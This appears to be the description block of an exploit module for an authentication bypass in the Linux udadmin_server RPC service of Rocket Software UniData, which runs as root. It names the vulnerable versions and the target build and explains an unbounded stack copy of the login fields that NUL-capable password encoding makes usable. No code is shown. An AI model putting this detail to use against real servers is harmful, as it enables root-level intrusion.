          This modlue exploits an authentication bypass vulnerability in the
          Linux version of udadmin_server, which is an RPC service that comes
          with the Rocket Software UniData server, which runs as root.

          This vulnerability affects UniData versions 8.2.4 build 3003 and
          earlier (for Linux), but this module specifically targets UniData
          version 8.2.4 build 3001. Other versions will crash the forked
          process, but will not otherwise affect the RPC server.

          The username and password fields are copied to a stack-based buffer
          using a function that's equivalent to strcpy() (ie, has no bounds
          checking). Additionally, the password field is encoded in such a way
          that we can include NUL bytes.
